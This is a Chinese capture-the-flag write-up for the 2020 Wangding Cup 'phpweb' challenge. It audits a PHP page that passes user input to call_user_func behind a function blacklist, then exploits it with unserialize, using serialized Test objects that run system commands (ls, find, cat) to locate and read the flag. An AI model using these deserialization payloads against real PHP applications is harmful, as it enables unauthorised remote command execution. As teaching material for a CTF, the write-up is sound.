[网鼎杯 2020 朱雀组]phpweb
抓包发现func=data&p=Y-m-d h:i:s a
大概就是传进去一个函数名给你执行,
传file_get_contents
,index.php
得到一下面的内容
代码审计
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
直接看if(),就是过滤了一部分函数,不在$disable_fun数组里的函数才能被执行。
有类、没过滤unserialize();那就反序类化呗,
class Test{
public $func = "system";
public $p = "ls";//替换不同的命令
}
$flag = new Test;
print(serialize($flag));
运行一下得到:
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
POST传参
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}
得到回显
bg.jpg
index.php
index.php
find / -name flag*
,然后用这个命令查找flag文件;
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}
cat /tmp/flagoefiu4r93
,查看文件内容;
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
得到flag:flag{981c4078-f8f9-4ef1-bb89-b5892a016c73}